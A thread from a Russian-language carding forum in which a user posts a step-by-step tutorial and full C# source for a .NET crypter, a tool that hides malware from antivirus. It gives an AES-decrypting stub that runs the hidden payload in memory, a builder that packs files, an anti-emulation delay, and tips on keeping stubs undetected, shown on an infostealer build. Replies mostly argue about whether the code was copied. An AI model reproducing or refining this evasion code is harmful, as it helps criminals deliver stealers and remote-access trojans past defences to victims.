Перейти к содержимому

CAPBIZ.RU | Кардинг форум (КБ)

Один из крупнейший в русскоязычном сегменте кардинг форум.

Площадка посвящена различным видам заработка, реальному и вещевому кардингу, и бизнесу. Это форум для людей, которые хотят стать успешными, зарабатывать своим умом и всегда контролировать свои доходы. Успех - это результат плодотворного труда, работы на самого себя. Наше сообщество поможет в этом. Мы приветствует специалистов любых областей и всегда готовы помочь вновь прибывшим. Будь Вы новичек или опытный кардер - мы будем рады видеть Вас. Многие темы проверенных продавцов имеют сотни положительных отзывов и железную репутацию, но тем не менее рекомендуем всегда пользоваться услугами гарант-сервиса. Здесь всегда можно найти партнеров для совместной работы, либо получить ценную информацию от других участников сообщества. У нас нет хайдов, мы за открытое общение и обмен информацией. Рады приветствовать вас на нашей площадке. Присоединяйтесь !
Фотография

Обходим антивирусы (криптор .NET приложений)

библиотека

  • Авторизуйтесь для ответа в теме
Сообщений в теме: 20

#1
xCoder

xCoder
  • Пользователь
  • 10 сообщений

Доброго времени суток!

Как всем известно, билды различной малвари (особенно паблик) имеют достаточно большой скантайм детект. В этой статье мы сделаем простой криптор .net приложений на c#.

Кто виноват? Что делать?

Скантайм - сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen детекты.
Рантайм - детект при запуске файла, своего рода поведенческая сигнатура. Наример, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска и прочее. Эта модель поведения занесена в базы антивирусов.

Наша задача - убрать сигнатуры и изменить поведение файла; другими словами мы напишем оболочку для нашего файла.

Глаза боятся, а руки из жопы

Первым делом ознакомимся cо статьей небезызвестного 1ms0rry:
https://ims0rry.tumb...имере-orcus-rat

Чтож, такой крипт хоть и работает, но держит недолго.
В нашем проекте мы будем использовать стабы.

Стаб

Стаб - небольшая программа, "сердце" криптора, кторая отвечает за запуск шифрованного файла, антиэмуляцию и прочие плюшки.
Для начала напишем именно стаб.

Структура стаба будет такова:
-Сам стаб
-Слово-разделитель
-Ключ расшифровки
-Слово-разделитель
-Шифрованные данные

Алгоритм работы стаба:
1) Ищем слово-разделитель в файле
2) Получаем ключ
3) Ищем слово-разделитель в файле
4) Получаем шифрованные даные
5) Расшифровываем даные (base64 -> byte[] -> Decrypt() -> byte[])
6) Загружаем и выполняем сборку

Нашим словом-разделителем будет "keeeek".

Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .net 4.0.

sTwDElQ.png

Первым делом добавим функцию расшифровки:

public static byte[] Decrypt(byte[] input, string key) {
 PasswordDeriveBytes pdb =
  new PasswordDeriveBytes(key,
   new byte[] {
    0x43,
    0x87,
    0x23,
    0x72
   });
 MemoryStream ms = new MemoryStream();
 Aes aes = new AesManaged();
 aes.Key = pdb.GetBytes(aes.KeySize / 8);
 aes.IV = pdb.GetBytes(aes.BlockSize / 8);
 CryptoStream cs = new CryptoStream(ms,
  aes.CreateDecryptor(), CryptoStreamMode.Write);
 cs.Write(input, 0, input.Length);
 cs.Close();
 return ms.ToArray();
}

Переходим к Main. Ставим рандомную задержку (5-20 секунд):

Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));

Получаем в строки необходимые данные:

string data = File.ReadAllText(Assembly.GetEntryAssembly().Location); // Считываем файл
string key = new Regex("keeeek.*keeeek").Matches(data)[0].Value.Replace("keeeek", ""); // Считываем ключ
string file = Regex.Split(data, "keeeek")[2]; // Считываем base64 строку

Далее загрузим расшифрованную сборку:

Assembly assembly = Assembly.Load(Decrypt(Convert.FromBase64String(file), key)); // Расшифровываем и загружаем сборку
assembly.EntryPoint.Invoke(null, new object[] { new string[] { } }); 

Учтите, что Mian может не принимать аргументов вообще!

В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.

A9aFW7z.png

На этом со стабом покончили. Далее идет самая простая часть - написание самого криптора.

Криптор

Алгоритм работы криптора:
1) Выбираем файл для крипта
2) Шифруем файл и конвертируем его в Base64 строку
3) Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку

Создаем приложение WindowsForms, кидаем на него конпку:

6Il0tRD.png

Дважды кликаем по ней и пишем в методе код:

OpenFileDialog op = new OpenFileDialog(); // Окно для выбора файла
op.ShowDialog();

Далее проинициализируем переменные:

string filename = op.FileName; // Имя файла

byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором

string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ

byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл

byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку
Теперь, когда все данные получены, просто запишем все в новый файл:
FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
fs.Write(stub, 0, stub.Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(base64, 0, base64.Length);
fs.Close();

Чуть не забыл, добавим функцию шифрования:
 

public static byte[] Encrypt(byte[] input, string key) {
 PasswordDeriveBytes pdb =
  new PasswordDeriveBytes(key,
   new byte[] {
    0x43,
    0x87,
    0x23,
    0x72
   });
 MemoryStream ms = new MemoryStream();
 Aes aes = new AesManaged();
 aes.Key = pdb.GetBytes(aes.KeySize / 8);
 aes.IV = pdb.GetBytes(aes.BlockSize / 8);
 CryptoStream cs = new CryptoStream(ms,
  aes.CreateEncryptor(), CryptoStreamMode.Write);
 cs.Write(input, 0, input.Length);
 cs.Close();
 return ms.ToArray();
}

Ну вот и все, криптор готов.
Кладем стаб к криптору и начинаем тестить.

Для примера закриптуем билд стиллера TRON Project.

TekuiPG.png

Как чистить стабы?
1) Изменять ключевое слово
2) Изменять название переменных, их длину, добавлять мусорный код
3) Накрыть стаб каким либо обфускатором
4) Добавить иконку, изменить информацию о файле и тп (ResourceHaсker в помощь)

Ну и конечно же изменять алгоритм работы стаба.

После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:

vQfaHqA.png

Я думаю всем понятно, что сканить стабы/криптованные билды на вирустотале и аналогах не нужно

На этом все!


  • 3


#2
Jerb

Jerb
  • Пользователь
  • 4 сообщений
    Репутация: 0

такого ещё не видел на просторах,почитал немного,понял что годно + всегда можна допилить или что то переделать.
полезная тема


  • 0

#3
PWNBOY

PWNBOY
  • VIP
  • 42 сообщений

Красава, хорошая статья. Но у тех у кого есть лишние деньги, будет проще купить криптор)


  • 0

#4
Esco

Esco
  • Пользователь
  • 5 сообщений

https://telegra.ph/P...ptor-na-C-03-24 тоже самое только в разы лучше.


  • 0

#5
Esco

Esco
  • Пользователь
  • 5 сообщений

Нахуй ты эту хуйню вообще запостил?


  • 0

#6
Esco

Esco
  • Пользователь
  • 5 сообщений

такого ещё не видел на просторах,почитал немного,понял что годно + всегда можна допилить или что то переделать.
полезная тема

 

Нахуя его допиливать если есть уже допилиное(https://telegra.ph/P...ptor-na-C-03-24)
 


  • 0

#7
xCoder

xCoder
  • Пользователь
  • 10 сообщений

Нахуя его допиливать если есть уже допилиное(https://telegra.ph/P...ptor-na-C-03-24)
 

 

Нахуй ты эту хуйню вообще запостил?

 

https://telegra.ph/P...ptor-na-C-03-24 тоже самое только в разы лучше.

Не нашел копипаста ни в одной из приведенных тобой статей.
В мои планы не входило писать криптор с кучей фичей и раскрывать все фишки обхода ав. Я лишь показал основу основ, максимально простой и понятный начинающим код.


  • 1

#8
Pendareri

Pendareri
  • Пользователь
  • 11 сообщений
    Репутация: 0

Неплохие даны основы, но сука все ломает нет зависисость, что печально


  • 0

#9
Ach1lles

Ach1lles
  • Пользователь
  • 12 сообщений

Конечно, ребят ждите от меня тему. Будет нормальный криптор и запуск из памяти, т.е без дропа на диск, а не это говно


  • 0

#10
xCoder

xCoder
  • Пользователь
  • 10 сообщений

Конечно, ребят ждите от меня тему. Будет нормальный криптор и запуск из памяти, т.е без дропа на диск, а не это говно

 

1) Не позорься, сборка загружается динамически и запускается в памяти посредством рефлексии - в заголовке руссским языком написано про крипт .net
2) Я не учу С#, я не виноват что те, у кого руки из жопы, не могут собрать исходники/передать аргументы в main/криптуют натив
3) Отдельно доставляют персонажи, которые говорят что это копипаст


  • 0

#11
Ach1lles

Ach1lles
  • Пользователь
  • 12 сообщений

1) Не позорься, сборка загружается динамически и запускается в памяти посредством рефлексии - в заголовке руссским языком написано про крипт .net
2) Я не учу С#, я не виноват что те, у кого руки из жопы, не могут собрать исходники/передать аргументы в main/криптуют натив
3) Отдельно доставляют персонажи, которые говорят что это копипаст

 

Так это и есть паста, я тему даже скинул


  • 0

#12
Ach1lles

Ach1lles
  • Пользователь
  • 12 сообщений

1) Не позорься, сборка загружается динамически и запускается в памяти посредством рефлексии - в заголовке руссским языком написано про крипт .net
2) Я не учу С#, я не виноват что те, у кого руки из жопы, не могут собрать исходники/передать аргументы в main/криптуют натив
3) Отдельно доставляют персонажи, которые говорят что это копипаст

 

Ты блять понимаешь, что ты сука в файл это вписываешь, я знаю, что такое запуск из памяти


  • 0

#13
xCoder

xCoder
  • Пользователь
  • 10 сообщений

Так это и есть паста, я тему даже скинул

 

Скинь мне в лс или здесь конкретныую пасту, прям цитату со своими комментариями - вместе посмотрим


  • 0

#14
Ach1lles

Ach1lles
  • Пользователь
  • 12 сообщений

Есть абсолютно полный запуск из памяти, без записи в файлы, но реализовать его видать паста не дала


  • 0

#15
Ach1lles

Ach1lles
  • Пользователь
  • 12 сообщений

http://www.rohitab.c...2-c-exe-binder/, чекай


  • 0

#16
Ach1lles

Ach1lles
  • Пользователь
  • 12 сообщений

Это ебучий транслейт кода на шарп


  • 0

#17
Ach1lles

Ach1lles
  • Пользователь
  • 12 сообщений

У меня есть криптор, написанный на плюсах с полным запуском из памяти, именно поэтому я критикую твою тему


  • 0

#18
xCoder

xCoder
  • Пользователь
  • 10 сообщений

Не путай хуй с пальцем, я вписываю в файл в билдере
Я не ставил цели зпускать натив и палить фишки крипторов
Продолжать спор не вижу смысла, ты либо не разбираешься в теме, либо неадекват


  • 0

#19
Ach1lles

Ach1lles
  • Пользователь
  • 12 сообщений

Не путай хуй с пальцем, я вписываю в файл в билдере
Я не ставил цели зпускать натив и палить фишки крипторов
Продолжать спор не вижу смысла, ты либо не разбираешься в теме, либо неадекват

 

Окей если фишки палить не хотел, то тогда это нормально


  • 0

#20
megat

megat
  • Пользователь
  • 3 сообщений
    Репутация: 1

Конечно, ребят ждите от меня тему. Будет нормальный криптор и запуск из памяти, т.е без дропа на диск, а не это говно

 

спасибо, подождал , уже как 14 дней


  • 1





Темы с аналогичным тегами библиотека